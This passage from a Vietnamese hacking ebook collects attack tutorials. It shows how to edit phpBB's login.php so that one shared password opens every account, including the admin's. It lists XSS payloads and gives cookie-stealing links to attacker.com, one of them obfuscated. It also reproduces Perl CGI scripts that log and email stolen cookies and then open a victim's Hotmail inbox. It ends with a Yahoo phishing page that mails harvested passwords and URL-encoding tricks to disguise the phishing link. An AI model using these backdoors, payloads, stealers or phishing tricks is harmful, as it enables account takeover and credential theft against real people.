hoá theo kiểu MD5, do đó có thể rất khó khăn để có thể giải mã nó. Nếu các bạn hiểu rõ về kiểu encode này thì các bạn có thể tự tìm cho mình mật khẩu thích hợp, nếu không các bạn có thể sử dụng mật khẩu đã được tôi giải mã là: "hainam@hainam.org" Cái địa chỉ mail của tôi ấy mà, khi mật khẩu này được mã hoá theo MD5 nó sẽ là một mật khẩu như sau "692e2c95b693cf6fbec8ea5c40536b9e" hainam@hainam.org => 692e2c95b693cf6fbec8ea5c40536b9e 6.2.2 Thiết lập mật khẩu chung cho toàn bộ các nick Trước hết bạn mở file login.php ra tìm đoạn sau : ## file login.php .. define("IN_LOGIN", true); define('IN_PHPBB', true); $phpbb_root_path = './'; include($phpbb_root_path . 'extension.inc'); include($phpbb_root_path . 'common.'.$phpEx); ## file login.php .. Chèn thêm biến $hack = "692e2c95b693cf6fbec8ea5c40536b9e"; Tức là sửa đoanj mã đó thành ## file login.php .. define("IN_LOGIN", true); define('IN_PHPBB', true); $phpbb_root_path = './'; include($phpbb_root_path . 'extension.inc'); include($phpbb_root_path . 'common.'.$phpEx); $hack = "692e2c95b693cf6fbec8ea5c40536b9e"; ## file login.php .. Tiếp đó tìm đoạn mã sau ## file login.php ..
  • 76.
    http://wWw.Hack.Cf Page 76 else { if(md5($password) == $row['user_password'] && $row['user_active'] ) { $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0; ## file login.php .. Sửa đoạn mã đó thành ## file login.php .. else { if( md5($password) == $hack && $row['user_active'] ) { $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0; ## file login.php .. Ghi lại file login.php Bước 7.Login User với mật khẩu đã chọn Bây giờ bạn có thể login vào diễn đàn qua website của bạn http://root/mysite/login.php với bất cứ nickname nào bằng mật khẩu mà bạn đã chọn. Ở đây là "hainam@hainam.org" kể cả là nick Admin, và vào được Admin Panel .. Chú ý rằng ở website của bạn thì User chỉ có thể login với mật khẩu là hainam@hainam.org chứ không thể bằng bât kì mật khẩu khác kể cả đó là mật khẩu đúng Tổng quát : I/Phương Pháp -Đây là một ví dụ cho việc hack các website khi trong một local, không chỉ riêng đối với phpBB mà có thể áp dụng được cho nhiều Portal hay forum khác, tuy nhiên để có thể hack được từng loại bạn đều phải hiểu rất kĩ về nó và tránh lạm dụng quá đáng. -Cách hack này tuy mất nhiều thời gian trong việc upload một mirror nhưng rất hiệu quả. Tuy nhiên tuyệt đối không nên sử dụng chúng lung tung và bừa bãi. -Các hosting cho phép free, điều đó chứng tỏ họ rất tốt bụng, cũng chính vì vậy cũng không nên sử dụng phương pháp này khi KHÔNG THỰC SỰ cần thiết II/Ví dụ. -Trước hết tôi xin lỗi những ai đã làm website **** vì tôi sẽ đưa website của các bạn ra làm ví dụ và đã là victim đầu tiên của tôi. -Mong các bạn, những người đang muốn học hỏi thêm một chút kinh nghiệm chỉ tham qua chứ không lạm dụng gi để làm hỏng DataBase của họ, thực sự tôi đã backup nhưng tôi cũng rất ngại restore lại. Hơn nữa để đảm bảo cho các bài viết tiếp theo không bị phản đối, tôi mong mọi người hãy tôn trọng ý kiến của tôi, KHÔNG PHÁ PHÁCH GÌ DB CỦA VICTIM và mang mục đích học hỏi và tham khảo lên hang đầu. -Website mirror của website**** là **** , tại đây các bạn có thể login vào bất cứ nickname nào trong diễn đàn **** với mật khẩu chung là "hainam@hainam.org" . hãy nhớ là KHÔNG NÊN PHÁ DB CỦA HỌ, chi nên tham khảo III/Kinh nghiệm Điều quan trọng không phải là chúng ta hack được những cái gì mà là chúng ta học được những cái gì. Qua bài viết này mong các bạn nắm rõ được một số thao tác sau -Đọc mã nguồn của một file bất kì trên website khi đã cùng một server (Bước 3) -Kinh nghiệm về mật khẩu, dò tìm và ghi nhớ (Bước 4) -Cách tạo một mirror website hay là cách link DB cho nhiều website (Bước 5)
  • 77.
    http://wWw.Hack.Cf Page 77 -Cáchcrack cổ điển bằng ASM (Bước 6.1) Các bạn nên tìm ra các mối liên hệ giữa các Portal, Forum, Guest Book, Chatroom PHP-CGI,.. để có thể áp dụng phương pháp này. Mặt khác các bạn cũng có thể hack được ngay cả đối với các domain hosting chứ không phải là các site có dạng http://root/yoursite/ . Và Các Paid hosting cũng không ngaọi trừ khả năng bị hack nếu các hacker đã thực sự muốn hack và sẵn sang bỏ tiền mua một hosting trên cùng một Server. Phần hack paid hosting và domain tôi xin để cho các bạn tự tìm hiểu. Hãy nhớ rằng luôn luôn phải chú ý đến URL Root của mỗi hosting. Ví dụ như ở Cpanel thì URL Root cho các domain hosting l? http://[ip/ Server]/~user .vv Chúc các bạn thành công Bài viết của Lukos Cross Site Scripting : Ngày nay! các lỗ hổng Cross Site Scripting (XSS) ngày càng được phát hiện nhiều ở các dịch vụ đại chúng nổi tiếng như: Yahoo, Hotmail, Ebay... Cộng đồng các Hacker và Security đã chứng minh và có nhiều cuộc trình diễn về về sự nguy hiểm của XSS bên trong các dịch vụ đại chúng nổi tiếng như: Yahoo, Hotmail, Ebay và một số sản phẩm được ưa chuộng như: Apache, Tomcat, IIS, Lotus Domino. Các lỗ hổng XSS này cho phép các Hacker có thể dễ dàng đánh cắp User của người dùng trên các ứng dụng Web. Nhưng để thực hiện được một cuộc tấn công XSS thì đòi hỏi các Hacker phải có một khả năng nhất định. Đầu tiên các Hacker sẽ cố gắng đánh cắp Cookies của người sử dụng vào đúng thời điểm mà người sử dụng đó đăng nhập đến các dịch vụ ứng dụng Web. Gần như tất cả các dịch vụ Web đại chúng đều sử dụng Cookies để liên kết các tài khoản với người sử dụng. Điển hình là các dịch vụ Webmail như: Yahoo, Hotmail, Netscape...Và cả các dịch vụ ngân hàng, thương mại điện tử cũng sử dụng Cookies cho mục đích chứng thực và cấp phép. Trong một kịch bản đăng nhập vào của các ứng dụng Web. Có 2 Token chứng thực được yêu cầu trao đổi. Nó chính là Username và Password...2 giá trị này được lưu giữ bên trong Cookies, sau đó được sử dụng như một dấu hiệu chứng thực duy nhất. Vậy để đánh cắp được User và Password cuat nạn nhân. Thì trước hết bạn phải đánh cắp được Cookies của họ. Các Hacker thường sử dụng và khai thác tính dễ tổn thương XSS để ăn cắp Cookies của người dùng trên Internet. Các Hacker cũng có thể gián tiếp sử dụng các kỹ thuật khác để thực hiện công việc này: chẳng hạn như từ Cahe DNS, các Bug từ trình duyệt Internet của bạn, hay sử dụng một Trojan. Một khi các Cookies được bị đánh cắp. Các Hacker có thể khai thác các thông tin quý giá lưu trên Cookies và bắt đầu hướng các hoạt động đến các Server Web Application. Bắt đầu tấn công đến tài khoản của nạn nhân. Nếu thàhh công các Hacker có thể toàn quyền sử dụng và điều khiển các tài khoản ứng dụng trên Web của bạn. Chúng ta bắt đầu tìm hiểu về các cuộc tấn công XSS: Bản thân XSS là viết tắt của (Cross Site Scripting). Nếu một dịch vụ Web có chứa tính tổn thương XSS nó cho phép các Hacker có thể gửi các dữ liệu hiểm độc tới nạn nhân hoặc xuyên
  • 78.
    http://wWw.Hack.Cf Page 78 quacác ứng dụng đó. Các Hacker thường thực hiện khai thác tính dễ tổn thương XSS bằng kỹ xảo sử dụng các URL hiểm độc hay lợi dụng sự sơ hở của nạn nhân để đánh lừa họ. Những URL này rất đa dạng về ngôn ngữ: (VBScript, Javascript...etc) và chúng sẽ được Excute ngay trên trình duyệt của nạn nhân. Tính tổn thương XSS được xảy ra bởi một sự bất thường trong các ứng dụng Web khi xử lý các giá trị đầu vào của người dùng. Dưới đây là một ví dụ về tính dễ tổn thương của XSS được khai thác bằng cách nhúng JavaScript, nó sẽ được thực thi trên trình duyệt của nạn nhân cùng với sự cho phép của dịch vụ Web dễ tổn thương: http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID= MCTN&target="><script>alert(document.cookie)</script> http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(„Test‟);</script > http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&p age=1&ct=VVTV&mh=0&sh=0&RN=1 http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=%22%3E%3Cscri pt%3Ealert%28document.cookie%29%3C%2Fscript%3E Các dịch vụ Web phần lớn sử dụng ngôn ngữ CGI. Thật ra thì nạn nhân không cần thiết phải Click vào một Link. Code XSS cũng có thể được tải tự động trong một E-mail dưới định dạng HTML khi nạn nhân đọc Mail (thường là 2 Tag: IMG hay FRAME HTML - Badtrans Worm là một ví dụ điển hình). Có rất nhiều cách để trèn mã JavaScript vào một URL cho mục đích khai thác tính dễ tổn thương của XSS. Cross Site là một bộ phận của XSS sẽ tham chiếu tới những sự hạn chế an toàn mà bộ trình duyệt mạng thông thường có liên quan đến dữ liệu với các Website động (sử dụng DHTML). Bởi việc thực hiện các Script trên trình duyệt của nạn nhân cùng với sự cho phép của ứng dụng Web đó. Các Hacker có thể vượt qua Document Object Model (DOM). Lợi dụng sự sơ hở này các Hacker sẽ đánh cắp Cookies và đột nhập vào các tài khoản của bạn. DOM là một Framework cho phép thực hiện những kịch bản để làm thay đổi nội dụng của những trang Web động. Như đã nói! các Hacker có thể lợi dụng tính dễ tổn thương của XSS để đánh cắp Cookies của người sử dụng. Bởi việc trèn các Script hiểm độc, các Hacker có thể nắm quyền điều khiển bộ trình duyệt cuar nạn nhân. Họ sẽ lợi dụng tính dễ tổn thương trong trình duyệt của nạn nhân để dành quyền truy cập tới hệ điều hành của họ. Một đoạn Code ví dụ: <a href="javascript#[code]"> <div onmouseover="[code]"> <img src="java script:[code]"> <img dynsrc="java script:[code]"> <input type="image" dynsrc="java script:[code]"> <bgsound src="java script:[code]"> &<script>[code]</script> &{[code]}; <img src=&{[code]};> <link rel="stylesheet" href="java script:[code]"> <iframe src="vbscript :[code]"> <img src="mocha:[code]"> <img src="livescript:[code]">
  • 79.
    http://wWw.Hack.Cf Page 79 <ahref="about :<script>[code]</script>"> <meta http-equiv="refresh" content="0;url=java script:[code]"> <body onload="[code]"> <div style="background-image: url(java script:[code]);"> <div style="behaviour: url([link to code]);"> <div style="binding: url([link to code]);"> <div style="width: expression([code]);"> <style type="text/javascript">[code]</style> <object classid="clsid:..." codebase="java script:[code]"> <style><!--</style><script>[code]//--></script> <![CDATA[<!--]]><script>[code]//--></script> <!-- -- --><script>[code]</script><!-- -- --> <<script>[code]</script> <img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="java script:[code]"> <xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml> <div datafld="b" dataformatas="html" datasrc="#X"></div> [xC0][xBC]script>[code][xC0][xBC]/script> Bạn có thể tham khảo thêm thông tin ở: http://www.cgisecurity.com/articles/xss-faq.shtml http://www.w3.org/DOM/ A Tradition XSS Power Hjack Để thực hiện một phiên đánh cướp (Hjack) các Hacker thường sự dụng bộ chụp gói tin (Sniffer), các công cụ bẻ khoá (Brute Force)...Thông dụng và phù hợp hơn cả vẫn là cách đánh cắp Cookies để nắm quyền điều khiển một phiên ứng dụng mạng của một người dùng hợp pháp trong khi người dùng đăng nhập vào hệ thống mạng ứng dụng. Thông thường thì kẻ tấn công thường thực hiện tất cả các chức năng ứng dụng của mạng với cùng đặc quyền của người sử dụng hợp pháp đó. Dưới đây là các bước được Hacker sử dụng để đánh cắp Cookies của người sử dụng hợp pháp - Một người sử dụng đăng nhập vào hệ thống ứng dụng Web của họ, một phiên làm việc đã được thiết lập. Các Hacker biết về tính dễ tổn thương của hệ thống ứng dụng Web đó. - Hacker sẽ gửi các mã XSS hiểm độc đến nạn nhân thông qua E-mail dưới định dạng HTML hay qua một trang Web trung gian. Trong một vài trường hợp các Hacker có thể nhúng chúng vào các nội dung Web phổ biến như Guest Book, Form Mail...các mã hiểm độc này sẽ được tự động thực thi trên trình duyệt của nạn nhân mà không cần sự cho phép của họ. Lấy ví dụ: tính dễ tổn thương trong http://hotwried.lycos.com Có đoạn Code sau: <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=< script>document.location.replace('http://attacker.com/steal.cgi?'+docum ent.cookie);</script>"> Check this CNN story out! </a>
  • 80.
    http://wWw.Hack.Cf Page 80 </body> </html> ĐoạnScript trên sẽ dẫn nạn nhân đến một trang có chứa CGI Script của kẻ tấn công và tại đây nó sẽ đánh cắp Cookies của nạn nhân. Nó sẽ có dạng như sau: http://attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C20 100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_tit an_20=5901=1019511286 Hay các Hacker cũng có thể đanh lừa nạn nhân bằng đoạn Code sau: <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=< script>document.location.replace('http://attacker.com/steal.cgi?'+docum ent.cookie);</script>" onMouseOver="window.status='http://www.cnn.com/2002/SHOWBIZ/News/05/02/ clinton.talkshow.reut/index.html';return true" onMouseOut="window.status='';return true"> Check this CNN story out! </a> </body> </html> Tuy nhiên nếu để đoạn Code đó lộ thiên như vậy sẽ rất khó lừa nạn nhân cũng như cơ chế lọc của các dịch vụ ứng dụng Web. Chính vì vậy lên các Hacker thường mã hoá chúng lại theo chuẩn ASCII (American Standar Code Information Interchance): <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=< script>var u = String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061); u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B); u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065);
  • 81.
    http://wWw.Hack.Cf Page 81 u%2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x003F);u %2B= document.cookie;document.location.replace(u);</script>" onMouseOver="window.status='http://www.cnn.com/2002/SHOWBIZ/News/05/02/ clinton.talkshow.reut/index.html';return true" onMouseOut="window.status='';return true"> Check this CNN story out! </a> </body> </html> - Khi các đoạn Script này được thực hiện trên trình duyệt của người dùng hay được tự động thực thi trên trong E-mail của nạn nhân. Nó sẽ tự động Load các Tag như IMG, HTML FRAME (img src ="script.js"> hay <iframe = "script.js">. Khi đoạn Code Java Script đó được thực hiện (có thể sử dụng các ngôn ngữ khác) thì nó sẽ bị trang Web chứa Code CGI của Hacker đánh cắp. Cookies sẽ có dạng như sau: http://attacker.com/steal.cgi? lubid=01000000F81038F953EB3C41EB340000585500000000 ;%20p _uniqid=8s51F99ZdNn/n27HtA Giá trị Cookies ở đây chính là: lubid=01000000F81038F953EB3C41EB340000585500000000 ;%20p _uniqid=8s51F99ZdNn/n27HtA - Các Hacker thương sử dụng một số đoạn Code để đánh cắp Cookies của nạn nhân và sử dụng giá trị Cookies đó ngay trên trình duyệt của mình. Đoạn Code Perl sau sẽ giúp các Hacker thực hiện điều đó: #!/usr/bin/perl # steal.cgi by David Endler dendler@idefense.com # Specific to your system $mailprog = '/usr/sbin/sendmail'; # create a log file of cookies, we‟ll also email them too open(COOKIES,”>>stolen_cookie_file”); # what the victim sees, customize as needed print "Content-type:text/htmlnn"; print <<EndOfHTML; <html><head><title>Cookie Stealing</title></head> <body> Your Cookie has been stolen. Thank you. </body></html> EndOfHTML # The QUERY_STRING environment variable should be filled with # the cookie text after steal.cgi: # http://www.attacker.com/steal.cgi?XXXXX print COOKIES “$ENV{'QUERY_STRING'} from $ENV{„REMOTE_ADDR‟}n”; # now email the alert as well so we can start to hijack open(MAIL,"|$mailprog -t"); print MAIL "To: attacker@attacker.comn"; print MAIL "From: cookie_steal@attacker.comn"; print MAIL "Subject: Stolen Cookie Submissionnn";
  • 82.
    http://wWw.Hack.Cf Page 82 printMAIL "-" x 75 . "nn"; print MAIL “$ENV{'QUERY_STRING'} from $ENV{„REMOTE_ADDR‟}n”; close (MAIL); Hacker chỉ cần đọc Mail và lấy giá trị Cookies vừa ăn cắp được của nạn nhân và đăng nhập vào hệ thống ứng dụng Web với giá trị Cookies đó mà không cần User và Pass. Tất nhiên anh ta có toàn quyền sử dụng tài khoản này. Now Let's Automated it Một trong những trở ngại lớn nhất trong quá trình đánh cắp Cookies của các Hacker có lẽ là sự tính toán về yếu tố thời gian. Bởi vì ngoài việc phải phục kích đúng thời điểm nạn nhân đăng nhập. Các Hacker còn phải liên tục theo dõi các E-mail và những CGI log trong khi thực hiện công việc đánh cắp Cookies, và tiến hành đánh cắp phiên làm việc trước khi nạn nhân thoát ra khỏi phiên làm việc đó. Chính vì vậy mà các Hacker đã nghĩ đến làm sao phải tự động hoá cái quá trình tốn kém công sức và thời gian này. Chúng ta hãy cùng xem xét qua Hotmail. Một dịch vụ Freemail nổi tiếng của hãng MSN. Đầu tiên kẻ tấn công cũng đánh lừa nạn nhân Click vào một liên kết để đánh cắp Cookies của họ, hoặc thậm chí các Hacker còn sử dụng cả các Worm. Lấy ví dụ một đoạn Cookies của Hotmail có dạng sau: HMP1=1; HMSC0899=223victim%40hotmail%2ecomSxAIWq5iIf2ZTc6e TZYkHUqtZeCuYMKoBAB1eiapyad Kb1RCjuNz5U4%21l1KIOsuBpTEbUKYkmTuzPJVj%2abtLeMyiV Gap9BF82YvrP2WPsX4Z6ekH9a7c Rqq2VqTspQIS33GWygbPEsLOEFIupoiaYZdqmURMJK%21nh6O4 u4UNAJUjzOmQ8ye%2at3GjQfi6p Ba3vTT533tCRmZDy47NZY6cPdkbeHR5soAVnNPyqhvm73a%214 %2aFRHPJfOGhT6cbVR9zN%21XDX 3seXv9czjX6cm2lugTnpKZS2UQ0j%21%21PWkyiqS2aSw%2aKk 2%2aCquxzpjE2F0uVZgHfznNjVL PgGV2H%2a5GqZjXf144U0m8HFwlGS9A8RIwNMGtMoSro%2atCU 6L6304VyZyJ4vlEM%21adk%24; MC1=V=3&GUID=0724b14826c9437ct786ba6f2a36b04f; lang=en-us; mh=MSFT; SITESERVER=ID=UID=0724b14876c9437ca786ba6f2a36b44f ; MSPAuth=2JqD6vvUbDzqFAm6O7QVMWaeSdtiJExWGRQ5cmSuJ9 CUf4QSJbsQNmKkOCe3RLo%21A5G hxQ7mtfdZ%2aw3Bc0O7Pwzw%24%24; MSPProf=2JqD6vvUbB11hog4j6OgbT%21BYwgn3IZN9AyKYUpD NECCi%2a9dBZf37wqxmWtyS%21% 21Z6icYG8dVF30FnbsANQcdN1lQ%21QJCTDiddJAW9oiWSf%2a 8g9nwIGclDtNP6Hk2gFlOfZHEju
  • 83.
    http://wWw.Hack.Cf Page 83 vkM6Ja1N549eYs1VuhdcHCFWukzbVR%21%218POKn%2aS8vcqV g4ZHHgabh0CQXoxj; domain=lw4fd.law4.hotmail.msn.com; Vànó sẽ được gửi đến Script CGI của Hacker với nội dung sau: http://attacker.com/steal2.cgi?HMP1=1;%20HMSC0899=223victim%40hotmail%2ecomSx AIWq5iIf2ZTc6eTZYkHUqtZeCuYMKoBAB1eiapyadKb1RCjuNz 5U4%21l1KIOsuBpTEbUKYkmTuzP JVj%2abtLeMyiVGap9BF82YvrP2WPsX4Z6ekH9a7cRqq2VqTsp QIS33GWygbPEsLOEFIupoiaYZdq mURMJK%21nh6O4u4UNAJUjzOmQ8ye%2at3GjQfi6pBa3vTT533 tCRmZDy47NZY6cPdkbeHR5soAVn NPyqhvm73a%214%2aFRHPJfOGhT6cbVR9zN%21XDX3seXv9czj X6cm2lugTnpKZS2UQ0j%21%21PW kyiqS2aSw%2aKk2%2aCquxzpjE2F0uVZgHfznNjVLPgGV2H%2a 5GqZjXf144U0m8HFwlGS9A8RIwN MGtMoSro%2atCU6L6304VyZyJ4vlEM%21adk%24;%20MC1=V=3 &GUID=0724b14826c9437ct786b a6f2a36b04f;%20lang=en_s;%20mh=MSFT;%20SITESERVER= ID=UID=0724b14876c9437ca786 ba6f2a36b44f;%20MSPAuth=2JqD6vvUbDzqFAm6O7QVMWaeSd tiJExWGRQ5cmSuJ9CUf4QSJbsQN mKkOCe3RLo%21A5GhxQ7mtfdZ%2aw3Bc0O7Pwzw%24%24;%20M SPProf=2JqD6vvUbB11hog4j6Og bT%21BYwgn3IZN9AyKYUpDNECCi%2a9dBZf37wqxmWtyS%21%1 Z6icYG8dVF30FnbsANQcdN1lQ% 21QJCTDiddJAW9oiWSf%2a8g9nwIGclDtNP6Hk2gFlOfZHEjuv kM6Ja1N549eYs1VuhdcHCFWukzb VR%21%218POKn%2aS8vcqVg4ZHHgabh0CQXoxj;%20domain=l w4fd.law4.hotmail.msn.com; Dưới đây là đoạn Code CGI được sử dụng để đánh cắp CGI của Hotmail: #!/usr/bin/perl # steal2.cgi by David Endler dendler@idefense.com use LWP::UserAgent; use HTTP::Cookies; $cookie = HTTP::Cookies->new ( File => $cookiefile, AutoSave => 0, ); # Specific to your system $mailprog = '/usr/sbin/sendmail'; # create a log file of cookies, we‟ll also email them too open(COOKIES,”>>stolen_cookie_file”); # what the victim sees, customize as needed print "Content-type:text/htmlnn"; print <<EndOfHTML; <html><head><title>Cookie Stealing</title></head>
  • 84.
    http://wWw.Hack.Cf Page 84 <body> YourCookie has been stolen. Thank you. </body></html> EndOfHTML # The QUERY_STRING environment variable should be # filled with # the cookie text after steal2.cgi: # http://www.attacker.com/steal2.cgi?XXXXX print COOKIES “$ENV{'QUERY_STRING'} from $ENV{„REMOTE_ADDR‟}n”; # now email the alert as well so we can start to hijack open(MAIL,"|$mailprog -t"); print MAIL "To: attacker@attacker.comn"; print MAIL "From: cookie_steal@attacker.comn"; print MAIL "Subject: Stolen Cookie Submissionnn"; print MAIL "-" x 75 . "nn"; print MAIL “$ENV{'QUERY_STRING'} from $ENV{„REMOTE_ADDR‟}n”; close (MAIL); # this snippet goes to the victim‟s Hotmail inbox and dumps # the output. An attacker could just as easily add some lines # to parse for http://lw4fd.law4.hotmail.msn.com/cgi-bin/getmsg? # and then read the individual emails $base_url = “http://lw4fd.law4.hotmail.msn.com/cgi-bin/HoTMaiL?”; $ua->agent("Mozilla/4.75 [en] (Windows NT 5.0; U)"); $request = new HTTP::Request ('GET', $base_url); $ua->cookie_jar( $cookie ); # let‟s do a little parsing of our input to separate multiple # cookies # cookies are seperated by a semicolon and # a space (%20), # this will extract them so we can load them into our # HTTP agent @cookies = split(/;%20/,$ENV{'HTTP_COOKIE'}); for (@cookies){ @cookie_pairs = split(/=/, $_); $cookie->set_cookie(0, “$cookie_pairs[0]” => “$cookie_pairs[1]”, "/", ".hotmail.com"); $cookie->add_cookie_header($request); } # now that our forged credentials are loaded, let‟s # access the victim‟s Hotmail account! At this point # we can do anything to their account simply by forming the # correct URL $response = $ua->simple_request( $request ); $contents = $response->content; print COOKIES “$contentsn”; Như đã nói ở trên để thực hiện một cuộc tấn công XSS không phải là dễ. Nhưng bạn cũng lên thận trọng trước các cuộc tấn công kiểu này... Bài viết của Binhnx2000
  • 85.
    http://wWw.Hack.Cf Page 85 ####################################################################### Authorby : CUCCU ( Members of HVA ) Website : http:// www.vnhacker.org/forum/ Edit by : PTV5 Group Website : http://www.ptv5online.com ; http://www.ptv5online.net …… ####################################################################### Lời mở đầu: Trước tiên xin nói trước là bài viết này là của tôi tự nghiên cứu và viết, bất cứ bài viết nào post lại mà không ghi tên tôi là tui "ca cải lương" cho tắt luôn đấy Thứ hai là xin phép các bác admin và mod cho bài này tồn tại, đừng cho vào sọt nhé ******************************* Bài viết của tôi có 4 bước: ******************************* Bước 1. Tạo Fake login: Muốn lấy được pass của victim với tỉ lệ thành công cao, bạn phải có một trang Web dỏm y hệt như của Yahoo! Mail Thuổng của người khác: QUOTE Tạo tệp yahoo.PHP, đoạn code như sau: <? $contactemail = "mailcuaban@yahoo.com"; // $subject = "password of $login@yahoo.com : $passwd"; $message = ""; mail($contactemail, $subject, $message); header("location: http://login.yahoo.com/config/login?6rfn98...&.src=ym&.last= &promo=&.intltype=us&.bypass=&.partner=&.u=6l335nstlpk8v&.v=0&hasMsgr= 0&.chkP=Y&.done=&login=$login&passwd=$passwd&.persistent="); ?> Save as trang chính của yahoo! mail, sau đó mở tệp này bằng Notepate và tìm đến dòng: <FORM name=login_form onsubmit="return hash(this,'http://login.yahoo.com/config/login')" action=http://login.yahoo.com/config/login method=post autocomplete="off"> Thay đoạn này bằng : <FORM action="http://trang Web có hỗ trợ php/tên đăng kí của bạn/yahoo.php" method="post"> Cái này thì cực nhiều hướng dẫn trên diễn đàn rồi, nhưng có một số lỗi sau khiến hiệu quả không được cao:
  • 86.
    http://wWw.Hack.Cf Page 86 1:Đoạn code sửa đổi <form> hoạt động tốt, nhưng gây lỗi trên trang Fake login, tôi không hiểu sao mấy chú trên forum quảng cáo rất nhiều về trang Fake login của mình mà không chịu sửa nó đi...... Nếu bạn để ý, làm theo hướng dẫn của bất kì bài viết nào hiện có trên diễn đàn, trang fake login cũng hiện lên 1 biểu tượng báo lỗi (có dấu ! màu vàng) ở Status bar, nếu victim tinh ý 1 tí là nhận ra ngay, không cần nhìn lên đường link làm gì cả Cách sửa: Thực ra cũng chẳng có gì đáng nói, các chú tiết kiệm quá nên bỏ qua mấy khai báo đơn giản: Chỉ cần sửa như sau: <FORM name=login_form action="http://trang Web có hỗ trợ php/tên đăng kí của bạn/yahoo.php" method="post" autocomplete="off"> Ổn rồi phải không, thành công 1 bước nhỏ trong việc che mắt victim........ 2. Nhìn cái đường link của mấy chú thấy chán cả người, ai lại giao diện của Yahoo! Mail mà tên đường dẫn lại cực chuối củ...... No problem, thực tế thì chẳng ai đăng kí được 1 cái domain giông giống như mail.yahoo.com cả...... Cách khắc phục đây: Cái này thuổng của người khác: QUOTE Nếu trước đường link, ta thêm "@", rồi oánh lia lịa các kí tự vớ vỉn, thì IE cũng chỉ công nhận các kí tự ở đằng sau "@" mà thôi 1 ý tưởng hay, do đó, bạn có thể thêm www.mail.yahoo@ vào đằng trước đường link của bạn, VD: http://www.mail.yahoo@trang Web có hỗ trợ php/tên đăng kí của bạn hehhe, thường là victim chỉ nhìn mấy cái chữ đầu của đường link mà thôi, do đó nhìn như vậy cũng tạm ổn phải không..... nếu chú nào dể tính thì uh, nhưng tôi thì không, đã làm là phải lừa không được 100% thì cũng phải 95-96% chứ, nhìn cái tên trang Web của bạn nó vẫn lù lù đằng sau kia kìa, ai mà chẳng nhận ra..... Do đó, có 1 cách cực hay sau: Mã hoá Url: Dùng cái này có thể mã hoá đường link của bạn thành các kí tự loằng ngoằng, khó ai dịch được (nhưng IE lại chấp nhận). điều đó sẽ khiến victim không đề phòng nổi do đường link trông hầu như hao hao với trang Yahoo! Mail khi ta Sign Out Giới thiệu qua: Forum http://www.vnhacker.org/forum khi được mã hoá sẽ như sau: http://www.vn%68%61cke%72%2E%6Frg/f%6Fru%6D Trông loằng ngoăng hợp lệ chưa??? Bạn thử copy đường link trên cho chạy thử xem sao???Đảm bảo dẫn đến forum..... hehheh
  • 87.
    http://wWw.Hack.Cf Page 87 Vàsau đây là bảng hướng dẫn mã hoá: a ---> %61 b ---> %62 c ---> %63 d ---> %64 e ---> %65 A ---> %41 B ---> %42 C ---> %43 D ---> %44 E ---> %45 f ---> %66 g ---> %67 h ---> %68 i ---> %69 j ---> %6A F ---> %46 G ---> %47 H ---> %48 I ---> %49 J ---> %4A k ---> %6B l ---> %6C m ---> %6D n ---> %6E o ---> %6F K ---> %4B L ---> %4C M ---> %4D N ---> %4E O ---> %4F p ---> %70 q ---> %71 r ---> %72 s ---> %73 t ---> %74 P ---> %50 Q ---> %51 R ---> %52 S ---> %53 T ---> %54 u ---> %75 v ---> %76 w ---> %77 x ---> %78 y ---> %79 U ---> %55 V ---> %56 W ---> %57 X ---> %58 Y ---> %59 z ---> %7A Z ---> %5A 1 ---> %31 2 ---> %32 3 ---> %33 4 ---> %34 5 ---> %35 6 ---> %36 7 ---> %37 8 ---> %38 9 ---> %39 0 ---> %30 . ---> %2E Okie, được rồi đó, lưu ý như sau: đường link nào dù loằng ngoằng đến đâu thì cũng vẫn có các chữ và con số, do đó bạn không nên mã hoá tất cả, mà chỉ mã hoá 1 số từ nhạy cảm, ví dụ www11.brinkster.com chẳng hạn, để victim không nhận ra là brinkster, bạn mã hoá một số từ thôi: w%77w1%31.br%69ks%74er%2Ecom hehhe, hợp lý chứ....... Thành công nhe..... ********************************************************** Bài viết của Cuccu__ ********************************************************** Bước 1 tôi giới thiệu trên mọi người đều có thể làm được, không có gì mới cả, tôi chỉ hướng dẫn các bạn cách mã hoá và sửa lỗi của trang fake login cho hoàn hảo hơn mà thôi, nếu các bạn khéo dùng, có thể lừa được khá nhiều người, có thể nói là kể cả những người kha khá về fake login cũng bị lừa như chơi, nếu không cảnh giác cao độ...... Nhưng độ chính xác của con mồi không được cao, chẳng nhẽ lại rủ victim vào cửa hàng nào đó hay là shere cho victim cái trang này???? Không hợp lý..... Bước 2 dưới đây cho phép bạn ở Việt Nam, thay đổi homepage address ở tận bên
  • 88.
